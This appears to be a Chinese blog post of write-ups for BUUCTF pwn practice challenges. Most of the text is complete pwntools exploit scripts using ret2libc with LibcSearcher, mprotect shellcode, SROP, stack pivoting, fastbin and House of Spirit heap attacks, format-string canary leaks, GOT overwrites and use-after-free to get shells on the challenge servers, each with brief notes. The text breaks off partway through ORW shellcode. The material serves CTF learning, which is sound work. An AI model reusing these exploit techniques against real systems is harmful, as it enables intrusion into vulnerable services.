buupwn wp

前面还有8个题,因为当时还没搭blog就写了,前面几个也比较简单,就不放在这里了

[OGeek2019]babyrop1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

p=remote('node3.buuoj.cn',28810)
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
main_addr=0x8048825

payload1='\x00'+'a'*6+'\xff'
p.sendline(payload1)
p.recvuntil("Correct\n")

payload2='a'*0xe7+'aaaa'
payload2+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload2)

read_addr=u32(p.recv(4))
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

p.sendline(payload1)
p.recvuntil('Correct\n')
payload='a'*0xe7+'aaaa'
payload+=p32(system_addr)+p32(1)+p32(bin_addr)
p.sendline(payload)

p.interactive()

get_started_3dsctf_2016

通过rop以及shellcraft得到shell
mprotect可将内存段添加可执行权限是最主要的一点
vmmap查看可读可写内存
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
elf = ELF('./pwn')
r=remote('node3.buuoj.cn', 29799)
pop3_ret = 0x804951D
mem_addr = 0x80EB000
mem_size = 0x1000
mem_proc = 0x7
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret)
payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc)
payload += p32(read_addr)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100)
payload += p32(mem_addr)
r.sendline(payload)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()

ciscn_2019_n_8

学到了int占4个字节
exp

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote('node3.buuoj.cn',27981)

payload=p32(0x11)*14

p.sendline(payload)

p.interactive()

ciscn_2019_en_2/ciscn_2019_c_1

理解了pop rdi|ret,在64位系统中先用寄存器传参
如图
address:pop rdi|ret
address:puts_get
address:puts_plt
此时rsp指向puts_got,执行pop rdi及将puts_got的地址泄露,并且考虑到64位先用寄存传参,然后pop rdi后执行ret
此时rip指向puts_plt,程序跳转到puts,输出puts_got的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
from LibcSearcher import *
p=remote('node3.buuoj.cn',28736)
elf=ELF('./pwn')
context.log_level = 'debug'
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
print "puts_addr:" + hex(puts_addr)
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8) + p64(ret)*3 + p64(pop_rdi) + p64(binsh) + p64(sys_addr) #ret的数量不固定
p.sendlineafter('encrypted\n',payload)
p.interactive()

jarvisoj_level2

没什么东西,只要看到/bin/sh就好了
exp

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote('node3.buuoj.cn',26177)

payload='a'*0x88+'aaaa'+p32(0x08048320)+p32(0)+p32(0x0804A024)

p.sendline(payload)

p.interactive()

not_the_same_3dsctf_2016

本题flag是存在bss段上的,和平常的题目不太一样,一开始看到了get_flag那个函数没有参数,没想到gadget都不用,看了wp才知道

第一种解

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p=remote('node3.buuoj.cn',25218)

elf=ELF('./pwn')

flag_addr=0x080ECA2D

write_addr=elf.sym['write']

get_flag_addr=0x080489A0

payload='a'*0x2D+p32(get_flag_addr)+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)+p32(0)

p.sendline(payload)

print(p.recv())

第二种解

通过mprotect函数修改段的权限写入shellcode,执行cat flag
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

p=process('./pwn')

elf=ELF('./pwn')

mprotect_addr=0x0806ED40

shell_addr=0x08048000

shell_code=asm(shellcraft.sh())

read_addr=elf.sym['read']

pop_addr=0x0806fcc8#pop ebp ; pop esi ; pop edi ; ret

payload='a'*0x2D+p32(mprotect_addr)+p32(pop_addr)

payload+=p32(shell_addr)+p32(0x100)+p32(0x7)

payload+=p32(read_addr)+p32(pop_addr)+p32(0)+p32(shell_addr)

payload+=p32(len(shell_code))+p32(shell_addr)

p.sendline(payload)

p.send(shell_code)

p.interactive()

bjdctf_2020_babystack

本地打不通,远程能打通,离谱,可能是环境的问题
exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p=remote('node3.buuoj.cn',29823)

p.sendline('100')

payload='a'*0x18+p64(0x4006E6)

p.sendline(payload)

p.interactive()

[HarekazeCTF2019]baby_rop

注意64位先使用寄存器传参
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(os='linux',arch='amd64',log_level='debug')

#p=process('./pwn')

p=remote('node3.buuoj.cn',25662)

payload='a'*0x18+p64(0x400683)+p64(0x601048)+p64(0x400490)

p.sendline(payload)

p.interactive()

jarvisoj_level2_x64

和上题一样的做法

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(os='linux',arch='amd64',log_level='debug')

#p=process('./pwn')

p=remote('node3.buuoj.cn',28668)

payload='a'*0x88+p64(0x4006b3)+p64(0x600A90)+p64(0x4004C0)

p.sendline(payload)

p.interactive()

ciscn_2019_n_5

一开始想复杂了,想的是泄露libc版本,往bss段写/bin/sh,没想到可以直接写shellcode,然后栈溢出执行,题目没开NX······大意了,随便贴一个exp吧
exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
io = remote("node3.buuoj.cn" , 29428)

shellcode = asm(shellcraft.amd64.sh())
io.recvuntil("tell me your name")
io.sendline(shellcode)
io.recvuntil("What do you want to say to me?")
payload = b'A'* 0x20 + b'A'* 8 + p64(0x601080)
io.sendline(payload)
io.interactive()

ciscn_2019_ne_5

真的学到了sh可以替代/bin/sh,至于system的返回地址不能填p32(0),是我没想到的,确实也对,基本没遇到过strcpy可以溢出的情况,果然还是做题太少
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(os='linux',arch='amd64',log_level='debug')

#p=process('./pwn')

p=remote('node3.buuoj.cn',28166)

p.sendlineafter('password:','administrator')

p.sendlineafter(':','1')

sys_addr=0x080484D0

sh_addr=0x080482ea

payload='a'*(0x48+4)+p32(sys_addr)+'aaaa'+p32(sh_addr)

p.sendline(payload)

p.sendline('4')

p.interactive()

铁人三项(第五赛区)2018_rop

做过类似的直接贴别的师傅的exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io = remote('node3.buuoj.cn',26119)
elf = ELF('./pwn')

write_got = elf.got['write']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
payload = 'a' * (0x88 + 0x4)
payload += p32(write_plt)

payload += p32(0x80484c6)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

io.sendline(payload)
write_addr = io.recv()
print hex(u32(write_addr))
#libcbase = u32(write_addr) - libc.symbols['write']
#system = libcbase + libc.symbols['system']
#binsh = libcbase + libc.search('/bin/sh').next()

obj = LibcSearcher('write',u32(write_addr))
libcbase = u32(write_addr) - obj.dump('write')
system = libcbase + obj.dump('system')
binsh = libcbase + obj.dump("str_bin_sh")

payload = 'a' * (0x88 + 4)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)

io.sendline(payload)

io.interactive()

others_shellcode

nc node3.buuoj.cn 28745就有flag真签到题???

bjdctf_2020_babyrop

没什么东西,注意一下p.recv(6)就行了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

from LibcSearcher import *

a=1

if(a==1):

p=remote('node3.buuoj.cn',26949)

else:

p=process('./pwn')

elf=ELF('./pwn')

puts_plt=elf.plt['puts']
read_got=elf.got['read']
pop_addr=0x000000000040073
main_addr=elf.sym['main']

payload='a'*(0x20+8)+p64(pop_addr)+p64(read_got)+p64(puts_plt)+p64(main_addr)

p.sendline(payload)
p.recv()

read_addr=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',read_addr)
libc_addr=read_addr-libc.dump('read')
sys_addr=libc_addr+libc.dump('system')
bin_addr=libc_addr+libc.dump('str_bin_sh')

payload='a'*0x20+'b'*8+p64(pop_addr)+p64(bin_addr)

payload+=p64(sys_addr)

p.sendline(payload)

p.interactive()

babyheap_0ctf_2017

buu上做的第一道堆题,思路fastbinattack得到libc_base,然后再一次通过fastbinattack劫持mallochook指针为one_gadget
学到了fastbin attack以及当一个大于0x64的bin被释放后,fd会保存main_arena,而main_arena与libc_base存在固定偏移,
该固定偏移可以在malloc_trim中查看
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
p=process("./pwn")

def malloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.sendline(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()

#题目开了pie,第一步应该想办法泄露libc
#题目中的fill存在堆溢出,可以通过fastbin攻击

#第一步泄露libc_addr
allocate(0x10)#index 0
allocate(0x10)#index 1
allocate(0x10)#index 2
allocate(0x10)#index 3
allocate(0x80)#index 4 small bin

free(1)# index1
free(2)# index2 #main_arena->index(2) addr:0x40 并存放了index(1)的地址,->index(1) addr: 0x20

payload=p64(0)*3+p64(0x21)#不改变index 1中的数据
payload+=p64(0)*3+p64(0x21)#不改变index 2中的数据
payload+=p8(0x80)
fill(0,payload)

payload=p64(0)*3+p64(0x21)
fill(3,payload)

malloc(0x10)#index1 addr:0x40
malloc(0x10)#index2 addr:0x80
payload=p64(0)*3+p64(0x91)

fill(3,payload)

allocate(0x80)#index 5 #防止0x80与top chunk相连
free(4)#index 4 addr:0x80

dump(2)
libc_addr=u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78
log.info("libc: "+hex(libc_addr))
#gdb.attach(p)
#第二步,通过fastbin attack改写malloc_hook指针
og_addr=libc_addr+0x4527a
allocate(0x60)
free(4)
payload=p64(libc_addr+0x3c4aed)
fill(2,payload)

allocate(0x60)
allocate(0x60)
payload=p8(0)*3+p64(0)*2+p64(og_addr)
fill(6,payload)

allocate(0x10)

p.interactive()

pwn2_sctf_2016

思路:输入-1,整数溢出然后rop,注意printf的传参 return_addr+p32(fmstr)+p32(printf_got)
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

from LibcSearcher import *

a=0

if(a==1):
p=process("./pwn")
elf=ELF("./pwn")

else:
p=remote("node3.buuoj.cn",27207)
elf=ELF("./pwn")

printf_plt=elf.plt["printf"]

printf_got=elf.got["printf"]

fmstr_addr=0x080486F8

main_addr=0x080485B8

p.recvuntil("to read? ")

p.sendline("-1")

p.recvuntil("bytes of data!\n")

payload="a"*0x2c+"bbbb"+p32(printf_plt)+p32(main_addr)+p32(fmstr_addr)+p32(printf_got)

p.sendline(payload)
p.recvuntil("You said: ")
p.recvuntil("You said: ")

printf_addr=u32(p.recv(4))

log.info("got_addr:"+hex(printf_addr))

libc=LibcSearcher("printf",printf_addr)
libc_base=printf_addr-libc.dump("printf")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")

p.recvuntil("to read? ")

p.sendline("-2")

p.recvuntil("bytes of data!\n")

payload="a"*0x2c+"bbbb"+p32(system)+p32(main_addr)+p32(binsh)
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

这个题目需要多使用gdb调试
第一种方法使用csu中的gadget
64位系统使用rdi,rsi,rdx,rcx,r8,r9来传参
此外这个题比较特殊一点,就是程序最后不需要push rbp,即不能只看ida,具体的偏移还是得看调试过程
思路:构造execve(“/bin/sh\x00”,0,0),系统调用号为59,先使用rax来存放,rdi存/bin/sh的地址,rsi为0,rdx为0,这时就能得到shell
syscall_addr=0x400517
rax_addr=0x4004E2 rdi_addr=0x4005a3 rsi_addr=0x4005a1 rdx_addr=0x400580
r12_addr=0x40059A
rax对应的指令为:
mov rax, 3Bh ; ‘;’
retn

rdi对应的指令为:
pop rdi ;
ret

rsi对应的指令为:
pop rsi ;
pop r15 ;
ret

rdx对应的指令为:
mov rdx, r13
mov rsi, r14
mov edi, r15d
call ds:(frame_dummy_init_array_entry - 600E10h)[r12+rbx* 8]

r12对应指令为:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p=process("./pwn")

syscall_addr=0x400517
rax_addr=0x4004E2#59
rdi_addr=0x4005a3#bin_addr
rsi_addr=0x4005a1#0
rdx_addr=0x400580#0
r12_addr=0x40059A#rax_addr
vul_addr=0x4004ed

payload='/bin/sh\x00'*2+p64(vul_addr)
p.sendline(payload)
p.recv(0x20)
bin_addr=u64(p.recv(8))-0x118

payload='/bin/sh\x00'*2+p64(r12_addr)+p64(0)*2+p64(bin_addr+0x50)+p64(0)*3
payload+=p64(rdx_addr)+p64(rax_addr)+p64(rdi_addr)+p64(bin_addr)+p64(syscall_addr)
p.sendline(payload)

p.interactive()

第二种方法SROP
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

#p = process('./ciscn_s_3')
p = remote('node3.buuoj.cn',29811)
sigreturn = 0x4004DA
vuln = 0x4004F1
syscall = 0x400517

payload = '/bin/sh\x00'*2+ p64(vuln)
p.send(payload)
p.recv(0x20)
sh_addr = u64(p.recv(8)) - 0x118

p.recv(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = 'a'*0x10+p64(sigreturn)+p64(syscall)+str(frame)
p.sendline(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

流程:rop泄露libc+rop跳转system,一开始有个地方写错了,没写出来。。。。。。。。注意64为用寄存器传参数
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",27851)
elf=ELF('./pwn')
#gdb.attach(p)
printf_plt=elf.plt['printf']
printf_got=elf.got['read']

main_addr=0x400636
fmstr_addr=0x400770
pop_rdi_ret=0x400733
pop_rsi_pop_ret=0x400731
payload='a'*0x20+p64(0)+p64(pop_rdi_ret)+p64(fmstr_addr)+p64(pop_rsi_pop_ret)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)
p.sendline(payload)
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaa!\nWelcome to the Pwn World again, ")
print_addr=u64(p.recvuntil('\x7f').ljust(8,'\x00'))
print(hex(print_addr))
libc=LibcSearcher('read',print_addr)
libc_base=print_addr-libc.dump('read')
sys_addr=libc_base+libc.dump('system')
str_bin=libc_base+libc.dump('str_bin_sh')
payload='a'*0x20+p64(0)+p64(pop_rdi_ret)+p64(str_bin)+p64(sys_addr)
p.sendline(payload)
p.interactive()

jarvisoj_fm

格式化字符串漏洞

1
2
3
4
5
6
from pwn import *
p=remote('node3.buuoj.cn',25953)

payload=p32(0x0804A02C)+'%11$n'
p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

这个题主要的做法为通过程序给出的地址经过gdb调试算出偏移,然后rop即可,保护全没开

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=process("./pwn")

p.recvuntil("lets crash: ")
addr=int(p.recvuntil('\n')[:-1],16)
log.info("addr: "+hex(addr))
shellcode=asm(shellcraft.sh())
payload='crashme'+'\x00'+'aaaa'+'bbbb'+"cccc"+"dddd"+"cc"+p32(addr-0x1c)+shellcode
p.sendline(payload)
p.interactive()

ciscn_2019_es_2

主要思路是通过栈迁移来控制esp然后控制eip跳转到
system,/bin/sh的地址是通过第一部分泄露ebp的地址得到的
后面执行了两次(leave ret),通过这四步伪造了ebp,把esp改成我们想要的,然后控制程序运行到system
leave==mov esp,ebp ret=pop eip
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p=process("./pwn")
sys_addr=0x08048400


payload='a'*0x24+'bbbb'
p.send(payload)

p.recvuntil("bbbb")
ebp_addr=u32(p.recv(4))

log.info("ebp: "+hex(ebp_addr))
#gdb.attach(p)
bin_addr=ebp_addr-0x28
payload='aaaa'+p32(sys_addr)+p32(0)+p32(bin_addr)+'/bin/sh'
payload=payload.ljust(0x28,'\x00')
payload+=p32(ebp_addr-0x38)+p32(0x8048562)

p.send(payload)

p.interactive()

jarvisoj_level3

思路泄露libc+栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
a=2
if(a==1):
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
else:
p=remote("node3.buuoj.cn",26468)
elf=ELF("./pwn")
write_ad1=elf.plt['write']
read_ad2=elf.got['read']
fu_ad=0x08048484
pl='a'*0x88+'bbbb'+p32(write_ad1)+p32(fu_ad)+p32(1)+p32(read_ad2)+p32(4)
p.recvuntil("Input:\n")
p.sendline(pl)
addr=u32(p.recvuntil("I")[:-1])
log.info("addr: "+hex(addr))
libc=LibcSearcher("read",addr)
libc_base=addr-libc.dump('read')
log.info(hex(libc_base))
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
pl='a'*0x88+'bbbb'+p32(system_addr)+p32(1)+p32(bin_addr)
p.sendline(pl)
p.interactive()

[Black Watch 入群题]PWN

第一次栈迁移泄露libc,第二次执行system
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
a=2
if(a==1):
p=process("./pwn")
elf=ELF("./pwn")
else:
p=remote("node3.buuoj.cn",29164)
elf=ELF("./pwn")
leave_ret_ad=0x08048511
bss_addr=0x0804A300
main_addr=0x08048513
write_plt=0x08048380
write_got=elf.got['write']
payload='aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Ctfer!")
p.sendline(payload)
payload='a'*0x18+p32(bss_addr)+p32(leave_ret_ad)
p.recvuntil("want to say?")
p.send(payload)
write_addr=u32(p.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
payload='aaaa'+p32(sys_addr)+p32(0)+p32(bin_addr)
p.sendline(payload)
payload=payload='a'*0x18+p32(bss_addr)+p32(leave_ret_ad)
p.send(payload)
p.interactive()

bjdctf_2020_babystack2

整数溢出+ret
exp

1
2
3
4
5
6
from pwn import *
p=remote('node3.buuoj.cn',28654)
p.sendline(str(42949672925))
payload='a'*0x10+'a'*0x8+p64(0x400726)
p.sendline(payload)
p.interactive()

输入-1也可以整数溢出,因为后面会将-1强制转化为无符号数

jarvisoj_tell_me_something

ret然后就会打印出flag
exp

1
2
3
4
5
6
7
from pwn import *
p=remote('node3.buuoj.cn',26987)
#64 rdi rsi rdx rcx r8 r9
payload='a'*0x88+p64(0x000000000400620)
p.sendline(payload)
print(p.recv())
p.interactive()

jarvisoj_level4

栈溢出泄露libc+ret
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

from LibcSearcher import *

a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',27259)
elf=ELF('./pwn')

write_plt=elf.plt['write']
write_got=elf.got['write']
main_ad=0x08048470

payload='a'*0x88+'bbbb'+p32(write_plt)+p32(main_ad)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
ad=u32(p.recv(4))

libc=LibcSearcher('write',ad)

libc_base=ad-libc.dump['write']
sys_ad=libc_base+libc.dump['system']
bin_sh=libc_base+libc.dump['str_bin_sh']

payload='a'*0x88+'bbbb'+p32(sys_ad)+p32(0)+p32(bin_sh)

p.sendline(payload)

p.interactive()

jarvisoj_level3_x64

和上一题类似只不过是64位的要考虑寄存器传参,先泄露地址,再ret
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',26180)
elf=ELF('./pwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_ad=0x0000000040061A
pop_rdi=0x00000000004006b3
pop_rsi_r15=0x00000000004006b1
payload='a'*0x80+'aaaaaaaa'+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_ad)
p.sendline(payload)
p.recvuntil("Input:\n")
ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('write',ad)
libc_base=ad-libc.dump('write')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump("str_bin_sh")
payload='a'*0x80+'aaaaaaaa'+p64(pop_rdi)+p64(bin_ad)+p64(sys_ad)
p.sendline(payload)
p.interactive()

picoctf_2018_rop chain

一开始没做出来,看了题解之后发现挺简单的,只要一步步的满足flag函数中的条件,注意栈上的数据与函数参数的关系就行了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
a=1

if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',25087)
elf=ELF('./pwn')
win1_ad=0x080485CB
win2_ad=0x080485D8
flag_ad=0x0804862B
payload='a'*0x18+'bbbb'+p32(win1_ad)+p32(win2_ad)+p32(flag_ad)+p32(0xbaaaaaad)+p32(0xDEADBAAD)
p.sendline(payload)
print(p.recv())
p.interactive()

[ZJCTF 2019]EasyHeap

一道简单的堆题做了快三个小时,不过学到了挺多,也发现自己学的不好的地方,这个题目中edit函数部分存在堆溢出,并且给出了system_plt,所以无需泄露libc基地址,并且开了partial relro所以可以改写got表将free的got表改为system_plt,然后再free内容为/bin/sh的堆就可以了,我觉得其中最关键的部分是在0x6020a0部分伪造chunk,以及改写free之后chunk的fd指针
伪造的fastbinchunk需要满足的条件:大小位最后一位要为1(House of Spirit)
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
#from LibcSearcher import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')

else:
p=remote('node3.buuoj.cn',28818)
elf=ELF('./pwn')

def create(size,content):
p.recvuntil("choice :")
p.sendline('1')
p.recvuntil("Heap : ")
p.sendline(str(size))
p.recvuntil("heap:")
p.send(str(content))


def edit(index,size,content):
log.info(p.recvuntil("choice :"))
p.sendline('2')
log.info(p.recvuntil("Index :"))
p.sendline(str(index))
log.info(p.recvuntil("Heap : "))
p.send(str(size))
log.info(p.recvuntil("heap : "))
p.send(content)

def delete(index):
p.recvuntil("choice :")
p.sendline('3')
p.recvuntil("Index :")
p.sendline(str(index))


sys_ad=elf.plt['system']

free_got=elf.got['free']
log.info("free_got: "+hex(free_got))

create(0x60,"aaaa")#0
create(0x60,"bbbb")#1
create(0x60,"cccc")#2

delete(2)

payload='/bin/sh\x00'+p64(0)*12+p64(0x71)+p64(0x6020ad)

edit(1,len(payload),payload)

#gdb.attach(p)

create(0x60,"aaaa")#2
create(0x60,"b")#3 ->got

payload=p8(0)*3+p64(0)*4+p64(free_got)

edit(3,len(payload),payload)
payload=p64(sys_ad)

edit(0,len(payload),payload)
delete(1)
p.interactive()

bjdctf_2020_babyrop2

思路先通过格式化字符串漏洞泄露canary,然后再通过rop泄露libc,一开始做的时候system和bin_sh的地址一直用的是addr加偏移,应该应用libc_base+偏移的,然后一直报timeout错误,浪费了好多时间,然后直接rop就行了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',25842)
elf=ELF('./pwn')

pop_rdi_ret=0x400993
printf_plt=elf.plt['puts']
printf_got=elf.got['puts']
vul_addr=0x400887
#canary leak
p.recvuntil("help u!\n")
p.sendline("%7$p")
canary=int(p.recvuntil('\n')[:-1],16)
log.info("canary: "+hex(canary))
payload='a'*0x18+p64(canary)+'a'*8+p64(pop_rdi_ret)+p64(printf_got)+p64(printf_plt)+p64(vul_addr)
p.recvuntil("me u story!")
p.sendline(payload)
p.recv()
addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
log.info("addr: "+hex(addr))
libc=LibcSearcher('puts',addr)
libc_base=addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload='a'*0x18+p64(canary)+'a'*8+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)+p64(vul_addr)
p.sendline(payload)
p.interactive()

jarvisoj_test_your_memory

ret system,system函数后的返回地址需要为有效地址
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',26493)
elf=ELF('./pwn')
sys_ad=0x08048440
cat_flag_ad=0x080487E0
payload='a'*0x13+'bbbb'+p32(sys_ad)+p32(0x08048677)+p32(cat_flag_ad)
p.sendline(payload)
p.interactive()

bjdctf_2020_router

考察linux命令的使用:命令1+‘;’+命令2可以执行命令2处的命令nc之后1功能输入;cat flag即可

hitcontraining_uaf

简单uaf,这题中需要注意的地方
1.分配一个note之后,即使释放他之后,再分配一个note,index还是会+1
2.在分配用户控制大小的chunk之前,程序会分配一个固定大小为8的chunk,前4个字节放print_note的地址,当使用功能5时就会跳转到这里,当这里为system时,可以拿到权限
3.漏洞点uaf
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
#from LibcSearcher import *
a=1
if(a==0):
p=process('./hacknote')
elf=ELF('./hacknote')
else:
p=remote('node3.buuoj.cn',27422)
elf=ELF('./hacknote')
def malloc(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)
def free(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def printf(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
sys_ad=0x08048945
malloc(0x10,'aaaa')
malloc(0x10,'bbbb')
free(0)
free(1)
malloc(0x8,p32(sys_ad))
printf(0)
p.interactive()

picoctf_2018_buffer overflow 1

ret
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

#from LibcSearcher import *

a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',28695)
elf=ELF('./pwn')

win_ad=0x080485CB
p.recvuntil("Please enter your string: \n")
payload='a'*0x28+'aaaa'+p32(win_ad)
p.sendline(payload)

p.interactive()

pwnable_orw

orw即通过sys_open,sys_read,sys_write来读取flag文件
open

1
2
3
4
5
6
7
push 0x0  			#字符串结尾
push 0x67616c66 #'flags'
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flags,0,0)

read

1
2
3
4
5
mov eax,0x3; 
mov ecx,ebx; # ecx = char __user*buf缓冲区,读出的数据-->也就是读“flag”
